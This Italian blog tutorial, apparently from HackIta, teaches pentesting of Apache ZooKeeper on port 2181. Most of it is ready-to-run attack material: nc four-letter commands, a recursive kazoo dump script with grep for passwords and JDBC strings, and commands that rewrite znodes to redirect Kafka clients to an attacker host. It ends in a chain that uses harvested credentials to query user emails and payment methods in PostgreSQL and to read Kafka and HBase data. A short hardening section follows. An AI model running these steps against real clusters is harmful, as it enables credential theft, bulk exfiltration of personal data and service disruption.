networking

Porta 2181 ZooKeeper: Pentest, Dump e Four-Letter Commands

Porta 2181 ZooKeeper: Pentest, Dump e Four-Letter Commands

Porta 2181 ZooKeeper nel pentest: four-letter commands, dump configurazioni, cluster enumeration e metadata sensibili.

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 7 min

Apache ZooKeeper port 2181 è il servizio di coordinamento distribuito dell’ecosistema Apache: gestisce la configurazione, la sincronizzazione e il service discovery per Hadoop, HBase, Kafka, ActiveMQ, Solr, NiFi e decine di altri servizi. Ascolta sulla porta 2181 TCP e funziona come un filesystem gerarchico (simile a un registry) dove ogni servizio registra il proprio stato, la propria configurazione e i metadati del cluster. Nel penetration testing, ZooKeeper è il punto di raccolta informazioni più potente in un ambiente Big Data: da un singolo servizio ottieni la mappa completa del cluster — tutti i nodi, tutte le configurazioni, tutti i servizi attivi.

E indovina? Nessuna autenticazione di default. Ti connetti con nc e leggi tutto.

ZooKeeper non contiene i dati utente direttamente (quelli sono in HDFS, HBase, Kafka), ma contiene le configurazioni che ti dicono dove sono quei dati, come raggiungerli, e spesso con quali credenziali. È la mappa del tesoro prima del tesoro stesso.

Un caso che racconto spesso: durante un pentest per una media impresa che usava Kafka per il processing degli eventi, ho trovato ZooKeeper sulla 2181. Nei nodi ZooKeeper c’era la configurazione completa di Kafka — broker, topic, consumer group — e la configurazione di un connettore JDBC che conteneva la connection string a PostgreSQL con credenziali in chiaro. Dal “servizio di coordinamento” al database in 5 comandi.

Cos’è ZooKeeper — Per Chi Non Lavora con Big Data #

Pensa a ZooKeeper come un registro condiviso: i servizi del cluster scrivono la propria configurazione e il proprio stato in nodi gerarchici (chiamati znodes), e gli altri servizi leggono queste informazioni per coordinarsi. È organizzato come un filesystem:

text
/ (root)
├── /zookeeper
│   └── /config
├── /kafka
│   ├── /brokers
│   │   └── /ids
│   │       ├── /0  → {"host":"kafka-01","port":9092}
│   │       └── /1  → {"host":"kafka-02","port":9092}
│   ├── /topics
│   │   ├── /orders
│   │   └── /payments
│   └── /consumers
├── /hbase
│   ├── /master  → kafka-master-01:16000
│   ├── /rs      → [lista RegionServer]
│   └── /table
├── /solr
│   └── /configs
└── /hadoop-ha
    └── /ActiveBreadCrumb → namenode-01:8020
text
Client (nc/zkCli)           ZooKeeper Ensemble (:2181)
┌──────────────┐           ┌─────────────────────────────┐
│ ls /         │──TCP─────►│ Leader                       │
│ get /kafka/  │           │  ├── znode tree (in-memory)  │
│ stat         │           │  ├── Follower 1              │
│              │◄──────────│  └── Follower 2              │
│              │  data     │                               │
└──────────────┘           └─────────────────────────────┘
PortaServizioNote
2181ZooKeeper clientAccesso client
2888ZooKeeper peerComunicazione tra nodi ZK
3888ZooKeeper electionElezione leader

1. Enumerazione #

Nmap #

bash
nmap -sV -p 2181,2888,3888 10.10.10.40

Four-Letter Commands #

ZooKeeper risponde a comandi di 4 lettere via TCP — senza autenticazione:

bash
# Status del server
echo "stat" | nc 10.10.10.40 2181
text
Zookeeper version: 3.8.4-...
Latency min/avg/max: 0/0/15
Received: 1500000
Sent: 1500001
Connections: 45
Outstanding: 0
Zxid: 0x200000abc
Mode: leader
Node count: 8500

Intelligence: versione (3.8.4), 45 connessioni attive (servizi che usano ZK), 8500 nodi nel tree (cluster complesso), questo server è il leader.

bash
# Configurazione
echo "conf" | nc 10.10.10.40 2181

# Connessioni attive (IP dei client)
echo "cons" | nc 10.10.10.40 2181

# Watch attivi
echo "wchc" | nc 10.10.10.40 2181

# Server OK?
echo "ruok" | nc 10.10.10.40 2181
# → imok

# Dump sessioni
echo "dump" | nc 10.10.10.40 2181

# Environment (Java version, OS, path)
echo "envi" | nc 10.10.10.40 2181

Il comando cons è particolarmente utile: mostra gli IP di tutti i client connessi — cioè tutti i servizi del cluster (Kafka broker, HBase master, Hadoop NameNode). È una mappa di rete gratuita.

bash
# Esempio output cons
echo "cons" | nc 10.10.10.40 2181
text
/10.10.10.50:45321[1](queued=0,recved=500,sent=500,sid=0x1000001,lop=PING,...)
/10.10.10.51:45322[1](queued=0,recved=800,sent=800,sid=0x1000002,lop=GETD,...)
/10.10.10.52:45323[1](queued=0,recved=200,sent=200,sid=0x1000003,lop=PING,...)

Tre client: 10.10.10.50, 10.10.10.51, 10.10.10.52 — sono i server del cluster. Target da scansionare.

Nota: Four-letter commands disabilitati #

Nelle versioni recenti, i 4-letter commands possono essere limitati via 4lw.commands.whitelist nel config. Se stat non risponde, prova ruok (quasi sempre in whitelist) o passa direttamente al client ZK.

2. Client ZooKeeper — Navigazione Completa #

zkCli.sh #

bash
# Connessione
/opt/zookeeper/bin/zkCli.sh -server 10.10.10.40:2181
bash
# Oppure installa il client Python
pip install kazoo

Comandi base #

bash
# Nel client zkCli.sh:

# Lista root
ls /

# Lista nodi Kafka
ls /kafka
ls /kafka/brokers/ids

# Leggi un nodo
get /kafka/brokers/ids/0

# Leggi con metadata
get -s /kafka/brokers/ids/0

Enumerazione completa con script #

python
#!/usr/bin/env python3
"""zk_enum.py — Enumerazione ricorsiva ZooKeeper"""
from kazoo.client import KazooClient
import json, sys

zk = KazooClient(hosts=sys.argv[1] if len(sys.argv) > 1 else '10.10.10.40:2181')
zk.start()

def enum(path="/", depth=0):
    try:
        data, stat = zk.get(path)
        children = zk.get_children(path)
        prefix = "  " * depth
        data_str = data.decode('utf-8', errors='replace')[:200] if data else ""
        print(f"{prefix}{path} [{len(children)} children] = {data_str}")
        for child in children:
            child_path = f"{path}/{child}" if path != "/" else f"/{child}"
            enum(child_path, depth + 1)
    except Exception as e:
        pass

enum()
zk.stop()
bash
python3 zk_enum.py 10.10.10.40:2181 | tee zk_dump.txt
grep -iE "password|secret|credential|jdbc|conn" zk_dump.txt

3. Dati Sensibili nei Nodi ZooKeeper #

Configurazione Kafka #

bash
get /kafka/brokers/ids/0
json
{"host":"kafka-01.corp.local","port":9092,"jmx_port":9999,"endpoints":["PLAINTEXT://kafka-01:9092"]}

Hostname e porta di ogni broker Kafka — target per accesso ai messaggi.

bash
ls /kafka/brokers/topics
# → orders, payments, user-events, system-commands

Lista completa dei topic Kafka.

Configurazione HBase #

bash
get /hbase/master
# → hostname e porta del Master HBase

ls /hbase/rs
# → lista di tutti i RegionServer

get /hbase/table
# → tabelle HBase

Mappa completa del cluster HBase.

Hadoop HA (High Availability) #

bash
get /hadoop-ha/mycluster/ActiveBreadCrumb
# → namenode-01.corp.local:8020

Il NameNode attivo.

Credenziali in configurazioni #

bash
# Connettori JDBC in Kafka Connect
get /kafka-connect/configs/jdbc-source-connector
json
{
    "connector.class": "io.confluent.connect.jdbc.JdbcSourceConnector",
    "connection.url": "jdbc:postgresql://db01:5432/production",
    "connection.user": "kafka_connect",
    "connection.password": "K@fk4C0nn3ct!",
    "table.whitelist": "orders,users,payments"
}

Connection string con credenziali in chiaro per PostgreSQL. Jackpot.

Solr/SolrCloud configurazioni #

bash
ls /solr/configs
get /solr/live_nodes

Apache NiFi #

bash
get /nifi/leader
ls /nifi/processors

4. Manipolazione Dati (Write Access) #

Se l’accesso è in scrittura (default senza ACL):

bash
# Crea un nodo
create /test "proof-of-concept"

# Modifica un nodo esistente (es: redirect un servizio)
set /kafka/brokers/ids/0 '{"host":"10.10.10.200","port":9092}'

Modificare i nodi ZooKeeper può:

  • Reindirizzare i client Kafka verso un broker controllato dall’attaccante
  • Cambiare il master HBase attivo
  • Interrompere il cluster modificando lo stato dei nodi

⚠️ Non farlo in produzione senza autorizzazione — è DoS immediato.

5. CVE ZooKeeper #

ZooKeeper ha poche CVE ad alto impatto, ma quelle che esistono sono rilevanti:

CVEAnnoCVSSDescrizione
CVE-2023-4498120239.1Authorization bypass via SASL quorum peer — un attaccante può unirsi al ensemble ZK
CVE-2024-2394420245.3Information disclosure via persistent watcher — leak dati tra sessioni
CVE-2019-020120195.9Leak dati via getACL su nodi senza READ permission
bash
searchsploit zookeeper

6. Micro Playbook Reale #

Minuto 0-2 → Four-letter commands

bash
echo "stat" | nc TARGET 2181  # Versione, modo, nodi
echo "envi" | nc TARGET 2181  # OS, Java, path
echo "cons" | nc TARGET 2181  # IP tutti i client → mappa rete

Minuto 2-5 → Navigazione tree

bash
# Con zkCli.sh o Python kazoo
ls /
ls /kafka
ls /hbase
ls /hadoop-ha

Minuto 5-15 → Dump completo e ricerca credenziali

bash
python3 zk_enum.py TARGET:2181 | tee zk_dump.txt
grep -iE "password|secret|credential|jdbc|connection" zk_dump.txt

Minuto 15+ → Pivoting verso i servizi scoperti

I dati di ZooKeeper ti dicono dove andare dopo: Kafka broker, HBase master, NameNode, database SQL con credenziali.

7. Caso Studio Concreto #

Settore: Media company, 300 dipendenti, piattaforma streaming eventi.

Scope: Pentest interno, postazione utente standard.

Scansione rete → porta 2181 su tre server (ensemble ZK). echo "stat" | nc → ZooKeeper 3.7.1, mode leader, 12.000 nodi. echo "cons" → 15 IP client, che ho usato come lista target.

Con lo script Python ho dumpato l’intero tree: 12.000 nodi in 30 secondi. Nel dump:

  • Configurazione Kafka con 8 broker e 47 topic (inclusi user.activity, payment.processing, content.recommendations)
  • Kafka Connect JDBC connector con credenziali PostgreSQL: analytics_user:An@lytics2024! per il database user_analytics con 2 milioni di profili utente
  • Configurazione HBase con il master e 6 RegionServer
  • NiFi leader con hostname del server di orchestrazione dati

Con le credenziali PostgreSQL dal connettore Kafka ho fatto login al database: 2 milioni di profili utente con nome, email, storico di visione, preferenze e metodo di pagamento. Con gli IP da cons ho trovato e sfruttato un HBase senza auth e un Kafka senza auth.

Tempo dal primo echo "stat" alle credenziali PostgreSQL: 8 minuti. ZooKeeper è stato la Rosetta Stone per capire l’intera infrastruttura.

8. Errori Comuni Reali Trovati nei Pentest #

1. Nessuna autenticazione (il default) ZooKeeper non ha auth di default. Il meccanismo SASL/Kerberos esiste ma richiede configurazione complessa. La stragrande maggioranza delle installazioni è completamente aperta.

2. Porta 2181 raggiungibile dalla rete aziendale ZooKeeper dovrebbe essere accessibile solo dai servizi del cluster. Invece lo trovo raggiungibile da qualsiasi VLAN — a volte persino da Internet (Shodan ne mostra migliaia).

3. Credenziali in chiaro nei nodi Connettori JDBC, configurazioni di servizi, token — tutto in chiaro nei nodi ZK. I team DevOps scrivono le configurazioni senza pensare che ZK è leggibile da chiunque.

4. Four-letter commands tutti abilitati cons, dump, envi rivelano informazioni critiche sulla rete e sull’ambiente. Dalla versione 3.5.3 è possibile limitarli con 4lw.commands.whitelist, ma pochi lo fanno.

5. Nessuna ACL sui nodi ZooKeeper supporta ACL per nodo (digest auth, IP-based, SASL), ma di default tutti i nodi hanno world:anyone:cdrwa — read/write per tutti.

6. Nessun audit Chi legge cosa, chi modifica cosa — nessun log. Un attaccante legge l’intero tree senza lasciare traccia.

9. Mini Chain Offensiva Reale #

text
ZooKeeper :2181 → Cluster Map (cons) → Kafka Config → JDBC Credentials → PostgreSQL → 2M profili utente

Step 1 — Mappa rete dai client ZK

bash
echo "cons" | nc 10.10.10.40 2181
# → 10.10.10.50 (kafka-01), 10.10.10.51 (kafka-02), 10.10.10.60 (hbase-master)...

Step 2 — Dump tree e cerca credenziali

bash
python3 zk_enum.py 10.10.10.40:2181 > zk_dump.txt
grep -i "password\|connection.url" zk_dump.txt
# → /kafka-connect/configs/jdbc-source: connection.password = An@lytics2024!

Step 3 — Accesso PostgreSQL

bash
psql -h db01 -U analytics_user -d user_analytics -c "SELECT count(*) FROM users;"
# → 2000000
psql -h db01 -U analytics_user -d user_analytics -c "SELECT email, payment_method FROM users LIMIT 10;"

Step 4 — Exploit Kafka (dalla mappa ZK)

bash
# I topic Kafka scoperti da ZK
kafka-console-consumer.sh --bootstrap-server 10.10.10.50:9092 --topic payment.processing --from-beginning --max-messages 10

Step 5 — Exploit HBase (dalla mappa ZK)

bash
curl -s "http://10.10.10.60:8080/user_profiles/scanner" -H "Content-Type: text/xml" -d '<Scanner batch="10"/>'

ZooKeeper ha rivelato l’intera infrastruttura e le credenziali per accedervi.

10. Detection & Hardening #

  • SASL/Kerberos — abilita autenticazione per i client
  • ACL sui nodi — digest o sasl auth per nodi con dati sensibili
  • Firewall — porta 2181 accessibile solo dai servizi del cluster
  • 4lw.commands.whitelist — limita a ruok,stat (rimuovi cons,dump,envi)
  • TLSssl.clientAuth=need per comunicazione cifrata
  • Non salvare credenziali in chiaro — usa un secrets manager
  • Audit — abilita per tracciare letture/scritture
  • Isolamento rete — ZK ensemble in VLAN dedicata

11. Mini FAQ #

ZooKeeper contiene dati utente? Non direttamente — contiene la configurazione e i metadati dei servizi che gestiscono i dati utente. Ma spesso queste configurazioni includono credenziali (connection string, password, token) che danno accesso ai dati.

Quali servizi dipendono da ZooKeeper? Praticamente tutto l’ecosistema Apache Big Data: Kafka (fino alla versione 3.x, poi KRaft), HBase, Hadoop (HA), Solr/SolrCloud, NiFi, Storm, Druid, Flink. Se un’azienda usa uno di questi → ha ZooKeeper.

ZooKeeper è in fase di deprecazione? Per Kafka sì — dalla versione 3.0 Kafka supporta KRaft (senza ZK), e dalla 4.0 ZK non sarà più supportato. Ma per HBase, Solr e gli altri servizi, ZooKeeper resta il coordinatore standard. E le installazioni Kafka pre-3.0 con ZK saranno in produzione ancora per anni.

12. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 2181,2888,3888 target
Statusecho "stat" | nc target 2181
Configecho "conf" | nc target 2181
Connessioniecho "cons" | nc target 2181
Environmentecho "envi" | nc target 2181
Dumpecho "dump" | nc target 2181
Healthecho "ruok" | nc target 2181
zkCli lsls /; ls /kafka; ls /hbase
zkCli getget /kafka/brokers/ids/0
Python enumpython3 zk_enum.py target:2181
Cerca credsgrep -iE "password|secret|jdbc" zk_dump.txt

Riferimento: Apache ZooKeeper Admin Guide, ZooKeeper Security, HackTricks ZooKeeper. Uso esclusivo in ambienti autorizzati.

ZooKeeper è la mappa del tuo cluster — e chiunque può leggerla. Assessment infrastruttura Big Data HackIta per verificare la postura di sicurezza. Per padroneggiare il pentesting di ecosistemi distribuiti: formazione 1:1.

#ZooKeeper #Four-Letter Commands #Cluster Metadata

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.